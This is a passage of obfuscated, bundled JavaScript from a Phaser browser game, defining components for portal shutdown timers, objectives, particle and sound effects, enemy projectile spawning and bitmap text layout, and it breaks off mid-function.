_0x3ef30d['default']['distanceBetweenVectors'](_0x1622e4['config']['interactingActor']['getFromStore']('renderPosition'), _0x1622e4['config']['interactableActor']['getFromStore']('renderPosition')) / _0x183bbc; } } _0x4dd346['PortalShutdownComponent'] = _0xe9e715; }, 0x2054: (_0x51e72e, _0x2c2b59, _0x368e18) => { 'use strict'; Object['defineProperty'](_0x2c2b59, '__esModule', { 'value': !0x0 }), _0x2c2b59['PortalShutdownObjectiveComponent'] = void 0x0; const _0x48481b = _0x368e18(0x2414); class _0x4bef90 extends _0x48481b['ActorComponent']{ constructor(_0x77e48d) { super(_0x77e48d); } ['init']() { this['store']['subscribe']('timeLeftToFinishShutdownMS', ({ oldValue: _0x316d06, newValue: _0x374153 }) => this['onTimeLeftToFinishShutdownChange'](_0x316d06, _0x374153)); } ['onTimeLeftToFinishShutdownChange'](_0x1db9bf, _0x2ed92e) { if (0x0 === _0x1db9bf || _0x2ed92e === this['config']['completionPointsToCompleteObjective'] || 0x0 === _0x2ed92e) return; const _0x2af999 = (_0x1db9bf - _0x2ed92e) / (this['config']['portalShutdownTimeMS'] / this['config']['completionPointsToCompleteObjective']); this['gameMessageBus']['publish']('progressObjective', { 'name': this['config']['objectiveName'], 'completionPoints': _0x2af999 }); } } _0x2c2b59['PortalShutdownObjectiveComponent'] = _0x4bef90; }, 0x1a51: (_0x235e78, _0x5c4a85, _0x5170fe) => { 'use strict'; Object['defineProperty'](_0x5c4a85, '__esModule', { 'value': !0x0 }), _0x5c4a85['PortalShutdownRangeRenderComponent'] = void 0x0; const _0x35c087 = _0x5170fe(0x2414), _0x32c2a5 = _0x5170fe(0xf18), _0x51143f = _0x5170fe(0x2347); class _0x51930e extends _0x35c087['ActorComponent']{ ['shutdownRangeEmitter']; constructor(_0x1b7ef4) { super(_0x1b7ef4); } ['init']() { this['shutdownRangeEmitter'] = this['createEmitter'](), this['store']['subscribe']('portalShutdownState', ({ oldValue: _0x24418c, newValue: _0x7a7a46 }) => this['updateShutdownState'](_0x7a7a46)); } ['createEmitter']() { const _0x47c164 = (0x0, _0x51143f['physicsVector2RenderVector'])(this['actor']['getConfig']()['initialPosition']), _0x5b5f0f = Math['round'](0x3e8 / 0x1e * this['config']['rangeCircleRadius']), _0x1ffbad = Math['min'](_0x5b5f0f, 0xbb8), _0x1d8f81 = this['scene']['add']['particles'](0x0, 0x0, 'atlas/particle_add', { 'frame': 'green_spark', 'speed': 0x12, 'scaleY': 0.75, 'scaleX': 0.75, 'alpha': 0.5, 'lifespan': 0x64, 'angle': { 'min': 0x0, 'max': 0x168 }, 'radial': !0x0, 'emitZone': { 'type': 'edge', 'source': new Phaser['Geom']['Circle'](_0x47c164['x'] + this['config']['centerOffset']['x'], _0x47c164['y'] + this['config']['centerOffset']['y'], (0x0, _0x51143f['physicsScalar2RenderScalar'])(this['config']['rangeCircleRadius'])), 'quantity': _0x1ffbad }, 'quantity': _0x1ffbad, 'maxAliveParticles': _0x1ffbad, 'emitting': !0x1 }); return _0x1d8f81['blendMode'] = Phaser['BlendModes']['ADD'], _0x1d8f81['setDepth'](_0x32c2a5['LAYER_DEPTHS']['PROJECTILE']), _0x1d8f81; } ['updateShutdownState'](_0x259d82) { 'DEFAULT' !== _0x259d82 ? this['shutdownRangeEmitter']['start']() : this['shutdownRangeEmitter']['stop'](); } } _0x5c4a85['PortalShutdownRangeRenderComponent'] = _0x51930e; }, 0x213e: (_0x3acf85, _0x434129, _0xa18de7) => { 'use strict'; Object['defineProperty'](_0x434129, '__esModule', { 'value': !0x0 }), _0x434129['PortalShutdownUiController'] = void 0x0; const _0x23b478 = _0xa18de7(0x1520), _0x3212f8 = _0xa18de7(0x1fe7); class _0x497033 extends _0x23b478['ComponentController']{ ['elapsedTimeSinceLastInteractionMS'] = 0x0; constructor(_0x4d3314) { super(_0x4d3314); } ['postInit']() { this['component']['hide'](), this['store']['subscribe']('portalShutdownState', ({ oldValue: _0x4a6875, newValue: _0x4c8fe7 }) => this['maybeHideComponent'](_0x4c8fe7)), this['sceneMessageBus']['subscribe'](this, 'updateInteractionState', _0x31057e => this['onUpdateInteractionState'](_0x31057e)); } ['update'](_0x5dd2bc) { this['shallSkipFrame'](_0x5dd2bc) || this['maybeUpdateCounterValue'](); } ['onUpdateInteractionState'](_0x9d4160) { _0x9d4160['config']['interactableActor'] === this['actor'] && 'SHUTDOWN' === _0x9d4160['config']['interactionType'] && (this['component']['changeAttachedActor'](_0x9d4160['config']['interactingActor']), _0x9d4160['state'] === _0x3212f8['EInteractionState']['IN_RANGE_ACTIVE'] ? this['component']['show']() : this['component']['hide']()); } ['maybeHideComponent'](_0x30b0df) { 'DEFAULT' === _0x30b0df && this['component']['hide'](); } ['maybeUpdateCounterValue']() { if ('DEFAULT' === this['store']['get']('portalShutdownState')) return; const _0xfc98c5 = this['store']['get']('timeLeftToFinishShutdownMS') / this['config']['totalShutdownTimeMS'], _0x2fe751 = Math['min'](Math['max'](_0xfc98c5, 0x0), 0x1) * this['config']['counterMaxValue']; this['component']['setValue'](_0x2fe751); } ['shallSkipFrame'](_0x20c0a1) { return this['elapsedTimeSinceLastInteractionMS'] += 0x3e8 * _0x20c0a1, this['elapsedTimeSinceLastInteractionMS'] < 0x78 || (this['elapsedTimeSinceLastInteractionMS'] = 0x0, !0x1); } } _0x434129['PortalShutdownUiController'] = _0x497033; }, 0xde7: (_0x47349f, _0x386399, _0x851966) => { 'use strict'; Object['defineProperty'](_0x386399, '__esModule', { 'value': !0x0 }), _0x386399['PortalShutdownUILabelComponent'] = void 0x0; const _0x2ecc07 = _0x851966(0x2414), _0x1d276d = _0x851966(0xf18); class _0x111771 extends _0x2ecc07['ActorComponent']{ ['shutdownLabel'];['shutdownText'];['interactingActor']; constructor(_0x2a0512) { super(_0x2a0512); } ['init']() { this['shutdownText'] = this['scene']['add']['dynamicBitmapText'](0x0, 0x0, 'Satoshi-Medium', this['createLabelText'](this['config']['shutdownInteractionText']), 0x18), this['shutdownText']['setDepth'](_0x1d276d['LAYER_DEPTHS']['UI_HUD'] + 0.1), this['shutdownLabel'] = this['createLabel'](), this['store']['subscribe']('portalShutdownState', ({ oldValue: _0x57155c, newValue: _0x1f4030 }) => this['onPortalShutdownStateChange'](_0x1f4030)), this['sceneMessageBus']['subscribe'](this, 'updateInteractionState', _0x5ad415 => this['onUpdateInteractionState'](_0x5ad415)); } ['update'](_0x433dfc) { if (this['interactingActor']) { const _0x51615f = this['interactingActor']['getFromStore']('renderPosition'); this['shutdownLabel']['setPosition'](_0x51615f['x'] + this['config']['positionOffset']['x'], _0x51615f['y'] + this['config']['positionOffset']['y']); } } ['createLabel']() { const _0x1d24e8 = this['scene']['rexUI']['add']['label']({ 'width': 0x64, 'height': 0x28, 'background': this['scene']['rexUI']['add']['roundRectangle'](0x0, 0x0, 0x0, 0x0, 0x5, 0x0, 0.4), 'text': this['shutdownText'], 'expandTextWidth': !0x0, 'space': { 'left': 0xa, 'right': 0xa } })['layout'](); return _0x1d24e8['setDepth'](_0x1d276d['LAYER_DEPTHS']['UI_HUD']), _0x1d24e8['visible'] = !0x1, _0x1d24e8; } ['onUpdateInteractionState'](_0x3edba6) { _0x3edba6['config']['interactableActor'] === this['actor'] && 'SHUTDOWN' === _0x3edba6['config']['interactionType'] && (this['interactingActor'] = _0x3edba6['config']['interactingActor']); } ['onPortalShutdownStateChange'](_0x318683) { switch (_0x318683) { case 'DEFAULT': this['shutdownLabel']['hide'](); break; case 'SHUTDOWN_IN_PROGRESS': this['shutdownLabel']['show'](), this['shutdownText']['setText'](this['createLabelText'](this['config']['shutdownInteractionText'])); break; case 'SHUTDOWN_SUSPENDED': this['shutdownLabel']['show'](), this['shutdownText']['setText'](this['createLabelText'](this['config']['shutdownInteractionSuspendedText'])); } } ['createLabelText'](_0x188567) { return _0x188567['replace']('{PortalName}', this['actor']['getConfig']()['namedId'] ?? ''); } } _0x386399['PortalShutdownUILabelComponent'] = _0x111771; }, 0x173b: (_0x33964c, _0xfcc68, _0x4528ce) => { 'use strict'; Object['defineProperty'](_0xfcc68, '__esModule', { 'value': !0x0 }), _0xfcc68['PortalSoundComponent'] = void 0x0; const _0x372099 = _0x4528ce(0x2414), _0x1fd54c = _0x4528ce(0x221b); class _0x4c5454 extends _0x372099['ActorComponent']{ ['soundportalId'];['init']() { this['store']['subscribe']('portalSummoningState', ({ oldValue: _0x24bced, newValue: _0x55fafa }) => this['onPortalStateChange'](_0x55fafa)), this['store']['subscribe']('portalShutdownState', ({ oldValue: _0x367f28, newValue: _0x260094 }) => this['onPortalShutdownStateChange'](_0x260094)), this['soundportalId'] = this['gameContext']['idProvider']['get'](_0x1fd54c['EProviderContext']['FRONTEND_ONLY']); } ['onPortalStateChange'](_0x65e0e4) { switch (_0x65e0e4) { case 'ACTIVATING': this['onActivating'](); break; case 'IDLE': this['onIdle'](); break; case 'SUMMONING_BEGIN': this['onSummoningBegin'](); break; case 'COOLDOWN': this['onCooldown'](); } } ['onActivating']() { } ['onIdle']() { } ['onSummoningBegin']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'portalCharge', 'position': this['store']['get']('renderPosition'), 'customId': this['soundportalId'] } }); } ['onCooldown']() { this['gameMessageBus']['publish']('requestStopSound', { 'soundName': 'portalCharge', 'soundId': this['soundportalId'] }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'portalSummon', 'position': this['store']['get']('renderPosition') } }); } ['onPortalShutdownStateChange'](_0xa28df0) { switch (_0xa28df0) { case 'SHUTDOWN_IN_PROGRESS': this['playStartShutdownSound'](); break; case 'SHUTDOWN_SUSPENDED': this['playShutdownSuspendedSound'](); } } ['playStartShutdownSound']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptPortalShutdown', 'parameters': [{ 'name': 'Shutdown', 'value': 0x0 }], 'position': this['store']['get']('renderPosition') } }); } ['playShutdownSuspendedSound']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'promptPortalShutdown', 'parameters': [{ 'name': 'Shutdown', 'value': 0x1 }], 'position': this['store']['get']('renderPosition') } }); } } _0xfcc68['PortalSoundComponent'] = _0x4c5454; }, 0x1892: (_0x44e535, _0x70fca, _0x375a1e) => { 'use strict'; Object['defineProperty'](_0x70fca, '__esModule', { 'value': !0x0 }), _0x70fca['PortalSpritesheetAnimationController'] = void 0x0; const _0x272069 = _0x375a1e(0x1520); class _0x57d58a extends _0x272069['ComponentController']{ constructor(_0x2fc5b7) { super(_0x2fc5b7); } ['init']() { this['store']['subscribe']('portalSummoningState', ({ oldValue: _0xf2ec6f, newValue: _0x28f215 }) => this['onPortalStateChange'](_0x28f215)), this['gameContext']['timeProvider']['delayAction'](() => this['component']['play']({ 'animationName': this['createAnimationName']('Off'), 'loop': !0x1 })); } ['onPortalStateChange'](_0x242cc5) { switch (_0x242cc5) { case 'DISABLED': this['onDisabled'](); break; case 'ACTIVATING': this['onActivating'](); break; case 'IDLE': this['onIdle'](); break; case 'SUMMONING_BEGIN': this['onSummoningBegin'](); break; case 'COOLDOWN': this['onCooldown'](); } } ['onActivating']() { this['component']['play']({ 'animationName': this['createAnimationName']('Activate'), 'loop': !0x1 }); } ['onIdle']() { this['component']['play']({ 'animationName': this['createAnimationName']('Active'), 'loop': !0x0 }); } ['onSummoningBegin']() { this['component']['play']({ 'animationName': this['createAnimationName']('Summon'), 'loop': !0x1 }); } ['onCooldown']() { this['component']['play']({ 'animationName': this['createAnimationName']('SummonComplete'), 'loop': !0x1 }); } ['onDisabled']() { this['component']['play']({ 'animationName': this['createAnimationName']('Off'), 'loop': !0x1 }), this['component']['get']()['setTint'](0x999999); } ['createAnimationName'](_0x4553c7) { return this['config']['animationName'][0x0]['split']('/')[0x0] + '/' + _0x4553c7; } } _0x70fca['PortalSpritesheetAnimationController'] = _0x57d58a; }, 0xb7d: function (_0x127bc1, _0x3c9e43, _0x26e668) { 'use strict'; var _0x1ce3ec = this && this['__createBinding'] || (Object['create'] ? function (_0x5d6568, _0x10f31c, _0x17a6af, _0x545ccd) { void 0x0 === _0x545ccd && (_0x545ccd = _0x17a6af); var _0x5170ee = Object['getOwnPropertyDescriptor'](_0x10f31c, _0x17a6af); _0x5170ee && !('get' in _0x5170ee ? !_0x10f31c['__esModule'] : _0x5170ee['writable'] || _0x5170ee['configurable']) || (_0x5170ee = { 'enumerable': !0x0, 'get': function () { return _0x10f31c[_0x17a6af]; } }), Object['defineProperty'](_0x5d6568, _0x545ccd, _0x5170ee); } : function (_0x1c6038, _0x5727f4, _0x26f855, _0xa3092d) { void 0x0 === _0xa3092d && (_0xa3092d = _0x26f855), _0x1c6038[_0xa3092d] = _0x5727f4[_0x26f855]; }), _0xa1904b = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x1ba730, _0x395853) { Object['defineProperty'](_0x1ba730, 'default', { 'enumerable': !0x0, 'value': _0x395853 }); } : function (_0x46aed9, _0x171e90) { _0x46aed9['default'] = _0x171e90; }), _0x37d775 = this && this['__importStar'] || function (_0x1cd926) { if (_0x1cd926 && _0x1cd926['__esModule']) return _0x1cd926; var _0x42ed53 = {}; if (null != _0x1cd926) { for (var _0x245177 in _0x1cd926) 'default' !== _0x245177 && Object['prototype']['hasOwnProperty']['call'](_0x1cd926, _0x245177) && _0x1ce3ec(_0x42ed53, _0x1cd926, _0x245177); } return _0xa1904b(_0x42ed53, _0x1cd926), _0x42ed53; }; Object['defineProperty'](_0x3c9e43, '__esModule', { 'value': !0x0 }), _0x3c9e43['ProjectileGeneratorComponent'] = _0x3c9e43['TProjectileGeneratorComponentConfig'] = _0x3c9e43['TProjectileGeneratorConfig'] = void 0x0; const _0x198475 = _0x26e668(0x2414), _0x385d28 = _0x26e668(0x2f5), _0x42bebf = _0x26e668(0x1832), _0x4f17f3 = _0x26e668(0x221b), _0x583549 = _0x26e668(0x1b39), _0x14a893 = _0x37d775(_0x26e668(0x22f3)); _0x3c9e43['TProjectileGeneratorConfig'] = _0x14a893['type']({ 'projectileType': _0x14a893['string'], 'firingDirection': _0x14a893['type']({ 'min': _0x14a893['number'], 'max': _0x14a893['number'] }), 'firingSpeed': _0x14a893['type']({ 'min': _0x14a893['number'], 'max': _0x14a893['number'] }), 'disableOnMainObjectiveFinished': _0x14a893['union']([_0x14a893['boolean'], _0x14a893['undefined']]) }), _0x3c9e43['TProjectileGeneratorComponentConfig'] = _0x14a893['type']({ 'projectileConfig': _0x14a893['array'](_0x3c9e43['TProjectileGeneratorConfig']), 'projectileChance': _0x14a893['number'] }); class _0x36bae5 extends _0x198475['ActorComponent']{ constructor(_0x5e43bf) { super(_0x5e43bf); } ['init']() { this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => { this['config']['projectileConfig'] = this['config']['projectileConfig']['filter'](_0x2ec199 => !_0x2ec199['disableOnMainObjectiveFinished']); }); } ['update'](_0x416370) { this['gameContext']['rngProvider']['getRandomInteger'](_0x4f17f3['EProviderContext']['MAIN'], 0x0, this['config']['projectileChance']) <= 0x1 && this['spawnProjectile'](); } ['spawnProjectile']() { const _0x37a11a = this['gameContext']['rngProvider']['getRandomElement'](_0x4f17f3['EProviderContext']['MAIN'], this['config']['projectileConfig']), _0x2183a1 = this['gameContext']['rngProvider']['getRandomFloat'](_0x4f17f3['EProviderContext']['MAIN'], _0x37a11a['firingDirection']['min'], _0x37a11a['firingDirection']['max']), _0x2b30a1 = this['gameContext']['rngProvider']['getRandomFloat'](_0x4f17f3['EProviderContext']['MAIN'], _0x37a11a['firingSpeed']['min'], _0x37a11a['firingSpeed']['max']), _0x2bec8a = { 'firingDirection': (0x0, _0x583549['degToRad'])(_0x2183a1), 'firingPosition': this['store']['get']('physicsPosition'), 'firingVelocity': this['calculateVelocity']({ 'speed': _0x2b30a1, 'directionDeg': _0x2183a1 }), 'damageMultiplier': 0x1 }, _0x10b48c = { 'projectileConfig': { ...this['getProjectileConfig'](_0x37a11a['projectileType']) }, 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'recoilCallback': () => { }, 'world': this['config']['world'], 'gameContext': this['gameContext'], 'friendlyFire': !0x0, 'tags': [_0x42bebf['EActorTag']['ENEMY_PROJECTILE']], 'projectileType': _0x37a11a['projectileType'], 'projectileVelocity': _0x2bec8a['firingVelocity'], 'damageMultiplier': _0x2bec8a['damageMultiplier'], 'initialDirection': _0x2bec8a['firingDirection'], 'initialPosition': _0x2bec8a['firingPosition'], 'ownerActor': this['actor'] }, _0x30f6fe = _0x385d28['GAMEPLAY_ACTOR_MAP']['projectile'](_0x10b48c); this['actor']['registerActor'](_0x30f6fe); } ['getProjectileConfig'](_0x57fe96) { return this['gameContext']['getProjectileConfig'](_0x57fe96); } ['calculateVelocity'](_0x1114b0) { const _0x265897 = (0x0, _0x583549['degToRad'])(_0x1114b0['directionDeg'] - 0x5a); return { 'x': _0x1114b0['speed'] * Math['cos'](_0x265897), 'y': _0x1114b0['speed'] * Math['sin'](_0x265897) }; } } _0x3c9e43['ProjectileGeneratorComponent'] = _0x36bae5; }, 0x2375: function (_0x8a3767, _0x7e79fa, _0x5dc4c5) { 'use strict'; var _0x1886fe = this && this['__createBinding'] || (Object['create'] ? function (_0x2c4ac6, _0x5487b5, _0x128a10, _0x11a9f5) { void 0x0 === _0x11a9f5 && (_0x11a9f5 = _0x128a10); var _0x1974ba = Object['getOwnPropertyDescriptor'](_0x5487b5, _0x128a10); _0x1974ba && !('get' in _0x1974ba ? !_0x5487b5['__esModule'] : _0x1974ba['writable'] || _0x1974ba['configurable']) || (_0x1974ba = { 'enumerable': !0x0, 'get': function () { return _0x5487b5[_0x128a10]; } }), Object['defineProperty'](_0x2c4ac6, _0x11a9f5, _0x1974ba); } : function (_0x401630, _0x284306, _0x228c87, _0x189f60) { void 0x0 === _0x189f60 && (_0x189f60 = _0x228c87), _0x401630[_0x189f60] = _0x284306[_0x228c87]; }), _0x22a326 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0x28aa88, _0x87f7ce) { Object['defineProperty'](_0x28aa88, 'default', { 'enumerable': !0x0, 'value': _0x87f7ce }); } : function (_0x3b749a, _0x1c6d58) { _0x3b749a['default'] = _0x1c6d58; }), _0x258989 = this && this['__importStar'] || function (_0x39f87f) { if (_0x39f87f && _0x39f87f['__esModule']) return _0x39f87f; var _0x59349d = {}; if (null != _0x39f87f) { for (var _0x22793a in _0x39f87f) 'default' !== _0x22793a && Object['prototype']['hasOwnProperty']['call'](_0x39f87f, _0x22793a) && _0x1886fe(_0x59349d, _0x39f87f, _0x22793a); } return _0x22a326(_0x59349d, _0x39f87f), _0x59349d; }; Object['defineProperty'](_0x7e79fa, '__esModule', { 'value': !0x0 }), _0x7e79fa['RegisterAsObjectiveComponent'] = _0x7e79fa['TRegisterAsObjectiveComponentConfig'] = void 0x0; const _0x5374c6 = _0x5dc4c5(0x2414), _0x2fedd3 = _0x5dc4c5(0x512), _0x1b38a2 = _0x258989(_0x5dc4c5(0x22f3)), _0x50f8cf = _0x5dc4c5(0xd2c), _0x163c2 = _0x1b38a2['intersection']([_0x1b38a2['type']({ 'objectiveConfig': _0x50f8cf['TObjectiveConfig'] }), _0x1b38a2['partial']({ 'objectiveName': _0x1b38a2['string'] })]), _0x395629 = _0x1b38a2['intersection']([_0x163c2, _0x1b38a2['type']({ 'progressOnDestroy': _0x1b38a2['boolean'] })]), _0xd5b584 = _0x1b38a2['intersection']([_0x163c2, _0x1b38a2['type']({ 'progressOnDamage': _0x1b38a2['boolean'] })]), _0x5a4b50 = _0x163c2; _0x7e79fa['TRegisterAsObjectiveComponentConfig'] = _0x1b38a2['union']([_0x395629, _0xd5b584, _0x5a4b50]); class _0x42527d extends _0x5374c6['ActorComponent']{ constructor(_0x41b5e3) { super(_0x41b5e3); } ['init']() { if (!this['config']['objectiveName']) throw new _0x2fedd3['InvalidArgumentError']('objectiveName\x20is\x20required\x20for\x20registerObjective:\x20' + this['config']); let _0x118e79; _0x118e79 = 'progressOnDamage' in this['config'] && this['config']['progressOnDamage'] ? this['createObjectiveForProgressOnDamage']() : 'progressOnDestroy' in this['config'] && this['config']['progressOnDestroy'] ? this['createObjectiveForProgressOnDestroy']() : this['createObjectiveForMessageOnly'](); const _0xab158c = 'USE_ID' === this['config']['objectiveName'] ? 'GENERATED_' + this['actor']['id']['toString']() : this['config']['objectiveName']; this['gameMessageBus']['publish']('registerObjective', { 'name': _0xab158c, 'objective': _0x118e79 }), 'progressOnDestroy' in this['config'] && this['config']['progressOnDestroy'] && this['store']['subscribe']('hp', ({ oldValue: _0x385841, newValue: _0xc22934 }) => { _0xc22934 > 0x0 || this['gameMessageBus']['publish']('progressObjective', { 'name': this['config']['objectiveName'], 'completionPoints': 0x1 }); }), 'progressOnDamage' in this['config'] && this['config']['progressOnDamage'] && this['store']['subscribe']('hp', ({ oldValue: _0x373fdf, newValue: _0x5cc995 }) => { if (_0x373fdf <= _0x5cc995) return; const _0x2e115e = _0x5cc995; this['gameMessageBus']['publish']('progressObjective', { 'name': this['config']['objectiveName'], 'completionPoints': _0x2e115e, 'setCompletionPoints': !0x0 }); }); } ['createObjectiveForProgressOnDamage']() { const _0x5c6cdf = this['config']['objectiveConfig']; return { 'initialObjectiveCompletionPoints': this['store']['get']('maxHp'), 'currentCompletionPoints': this['store']['get']('maxHp'), 'completionPointsToCompleteObjective': this['store']['get']('maxHp'), 'objectiveComplete': !0x1, ..._0x5c6cdf }; } ['createObjectiveForProgressOnDestroy']() { return { 'initialObjectiveCompletionPoints': 0x1, 'currentCompletionPoints': 0x0, 'completionPointsToCompleteObjective': 0x1, 'objectiveComplete': !0x1, ...this['config']['objectiveConfig'] }; } ['createObjectiveForMessageOnly']() { const _0x58e7b3 = this['config']['objectiveConfig']; return { 'initialObjectiveCompletionPoints': _0x58e7b3['completionPointsToCompleteObjective'] ?? 0x1, 'currentCompletionPoints': _0x58e7b3['initialObjectiveCompletionPoints'] ?? 0x0, 'completionPointsToCompleteObjective': _0x58e7b3['initialObjectiveCompletionPoints'] ?? 0x0, 'objectiveComplete': !0x1, ..._0x58e7b3 }; } } _0x7e79fa['RegisterAsObjectiveComponent'] = _0x42527d; }, 0x578: (_0x377a1a, _0xce67ad, _0x4aafb0) => { 'use strict'; Object['defineProperty'](_0xce67ad, '__esModule', { 'value': !0x0 }), _0xce67ad['createTextMapActor'] = void 0x0; const _0x15f35d = _0x4aafb0(0x25fa), _0x392dc8 = _0x4aafb0(0xd2e), _0x3355e6 = _0x4aafb0(0xc6e), _0x153531 = _0x4aafb0(0x2630), _0x2bdfba = _0x4aafb0(0x1832), _0x3da0b0 = { 'color': '#000000', 'fontfamily': 'Arial', 'pixelsize': 0x10, 'text': 'Text', 'wrap': !0x1, 'halign': 'left', 'valign': 'top' }, _0x5ee06d = { ..._0x392dc8['actorModel'] }; _0xce67ad['createTextMapActor'] = function (_0x2878a8) { const _0x3fd3c5 = { ..._0x3da0b0, ..._0x2878a8['textConfig'] }; return _0x2878a8['textConfig'] = _0x3fd3c5, new _0x15f35d['Actor']({ ..._0x2878a8, 'tags': [_0x2bdfba['EActorTag']['OTHER']], 'name': 'TextMapActor', 'model': _0x5ee06d, 'components': [new _0x3355e6['TextRenderComponent']({ 'controllers': [new _0x153531['TextRenderController'](_0x2878a8)], 'isRenderComponent': !0x0 })] }); }; }, 0xc6e: (_0x33852f, _0x522d29, _0x4bc2fb) => { 'use strict'; Object['defineProperty'](_0x522d29, '__esModule', { 'value': !0x0 }), _0x522d29['TextRenderComponent'] = void 0x0; const _0x252665 = _0x4bc2fb(0x2414); class _0xb3b6ba extends _0x252665['ActorComponent']{ ['text'];['background'];['setText'](_0x41d5a0, _0x50e4c1) { this['text'] && this['text']['destroy'](), this['text'] = this['createTextArea'](_0x41d5a0, _0x50e4c1), _0x41d5a0['renderBackground'] && (this['addBackgroundToTextContainer'](_0x41d5a0, this['text']), this['text']['setDepth'](this['text']['depth'] - 0.1)), !0x1 === _0x41d5a0['startsVisible'] && this['hide'](); } ['destroy']() { this['text']['destroy'](), this['background']?.['destroy'](); } ['show']() { this['text']['setVisible'](!0x0), this['background']?.['setVisible'](!0x0); } ['hide']() { this['text']['setVisible'](!0x1), this['background']?.['setVisible'](!0x1); } ['createTextArea'](_0x3de1ce, _0x78000a) { const _0x5cc2c7 = this['store']['get']('renderPosition'), _0x20db85 = _0x3de1ce['textAreaConfig']['width'], _0x5001ac = _0x3de1ce['textAreaConfig']['height'], _0x15da5a = this['scene']['add']['container'](_0x5cc2c7['x'], _0x5cc2c7['y']), _0x4c963e = _0x78000a['split'](/(\s+|\n)/), _0x5d3c22 = []; let _0x435de9 = '', _0x309d0b = 0x0; const _0x52e27c = []; _0x4c963e['forEach'](_0x17783c => { if ('' === _0x17783c['trim']()) _0x435de9 += _0x17783c; else { if ('\x0a' === _0x17783c) _0x5d3c22['push'](_0x435de9['trim']()), _0x435de9 = ''; else { const _0x25abd5 = _0x435de9 + _0x17783c, _0xbd976a = this['scene']['add']['bitmapText'](0x0, 0x0, _0x3de1ce['textConfig']['fontfamily'], _0x25abd5, 1.4 * _0x3de1ce['textConfig']['pixelsize']), _0x2464d0 = _0xbd976a['width']; _0xbd976a['destroy'](), _0x2464d0 > _0x20db85 && '' !== _0x435de9 ? (_0x5d3c22['push'](_0x435de9['trim']()), _0x435de9 = _0x17783c) : _0x435de9 = _0x25abd5; } } }), '' !== _0x435de9['trim']() && _0x5d3c22['push'](_0x435de9['trim']()); let _0x50da76 = 0x0; _0x5d3c22['forEach'](_0x2e82c9 => { const _0x4ca763 = this['scene']['add']['bitmapText'](0x0, _0x309d0b, _0x3de1ce['textConfig']['fontfamily'], _0x2e82c9, 1.4 * _0x3de1ce['textConfig']['pixelsize']); _0x4ca763['tint'] = parseInt(_0x3de1ce['textConfig']['color']['replace']('#', '0x')), _0x15da5a['add'](_0x4ca763), _0x52e27c['push'](_0x4ca763), _0x4ca763['width'] > _0x50da76 && (_0x50da76 = _0x4ca763['width']), _0x309d0b += 0.8 * _0x4ca763['height']; }), _0x52e27c['forEach'](_0x1675af => { 'center' === _0x3de1ce['textConfig']['halign'] ? _0x1675af['setX']((_0x50da76 - _0x1675af['width']) / 0x2) : 'right' === _0x3de1ce['textConfig']['halign'] ? _0x1675af['setX'](_0x50da76 - _0x1675af['width']) : _0x1675af['setX'](0x0); }); const _0x576ab1 = _0x309d0b; let _0x4840a1 = _0x5cc2c7['x'], _0x1b8395 = 0x0; switch (_0x3de1ce['textConfig']['halign']) { case 'center': _0x1b8395 = _0x20db85 / 0x2, _0x4840a1 += _0x1b8395 - _0x50da76 / 0x2; break; case 'right': _0x1b8395 = _0x20db85, _0x4840a1 += _0x1b8395 - _0x50da76; break; default: _0x4840a1 += _0x1b8395; }let _0x3741b9 = _0x5cc2c7['y']; return 'center' === _0x3de1ce['textConfig']['valign'] ? _0x3741b9 += _0x5001ac / 0x2 - _0x576ab1 / 0x2 : 'bottom' === _0x3de1ce['textConfig']['valign'] && (_0x3741b9 += _0x5001ac - _0x576ab1), _0x15da5a['setPosition'](_0x4840a1, _0x3741b9), _0x15da5a; } ['addBackgroundToTextContainer'](_0x4ac384, _0x2d654a) { let _0x4d5d78 = 0x1 / 0x0, _0x14fe8d = 0x1 / 0x0, _0x161367 = -0x1 / 0x0, _0x3d605c = -0x1 / 0x0; _0x2d654a['iterate'](_0x181911 => { if (_0x181911 instanceof Phaser['GameObjects']['BitmapText']) { const _0x5b3ddf = _0x181911['x'], _0x3cd376 = _0x181911['y'], _0x6036cf = _0x181911['width'], _0x50ed4b = _0x181911['height']; _0x5b3ddf < _0x4d5d78 && (_0x4d5d78 = _0x5b3ddf), _0x3cd376 < _0x14fe8d && (_0x14fe8d = _0x3cd376), _0x5b3ddf + _0x6036cf > _0x161367 && (_0x161367 = _0x5b3ddf + _0x6036cf), _0x3cd376 + _0x50ed4b > _0x3d605c && (_0x3d605c = _0x3cd376 + _0x50ed4b); } }); const _0x4bdd20 = _0x4d5d78 - 0xa, _0x8cf586 = _0x14fe8d - 0xa, _0x886bfc = _0x161367 - _0x4d5d78 + 0x14, _0x1e1afe = _0x3d605c - _0x14fe8d + 0x14, _0x3e9e79 = this['scene']['rexUI']['add']['roundRectangle'](_0x4bdd20, _0x8cf586, _0x886bfc, _0x1e1afe, 0x5, 0x0, 0.4); _0x3e9e79['setOrigin'](0x0, 0x0), _0x2d654a['addAt'](_0x3e9e79, 0x0); } } _0x522d29['TextRenderComponent'] = _0xb3b6ba; }, 0x2630: (_0x374418, _0x1456b8, _0x1a3fa4) => { 'use strict'; Object['defineProperty'](_0x1456b8, '__esModule', { 'value': !0x0 }), _0x1456b8['TextRenderController'] = void 0x0; const _0x2b6262 = _0x1a3fa4(0x1520), _0x37c6ad = _0x1a3fa4(0x13a9); class _0xe6fe0c extends _0x2b6262['ComponentController']{ ['delayedHideAction'];['updateSettingsSubscription'] = ({ oldValue: _0x53459f, newValue: _0x411923 }) => { this['component']['setText'](this['config'], (0x0, _0x37c6ad['assembleText'])(this['config']['textConfig']['text'], _0x411923)); }; constructor(_0x1f24f7) { super(_0x1f24f7); } ['init']() { this['component']['setText'](this['config'], (0x0, _0x37c6ad['assembleText'])(this['config']['textConfig']['text'], this['gameContext']['getFromGameStore']('settings'))), this['gameMessageBus']['subscribe'](this, 'gamepadEvent', _0x3a5b70 => this['onGamepadEvent'](_0x3a5b70)), this['gameContext']['subscribeToGameStore']('settings', this['updateSettingsSubscription']), this['maybeSetupShowOnSceneMessage'](), this['maybeSetupHideDelay'](); } ['destroy']() { this['gameContext']['unsubscribeFromGameStore']('settings', this['updateSettingsSubscription']); } ['setupHideDelay'](_0x4bf8d0) { 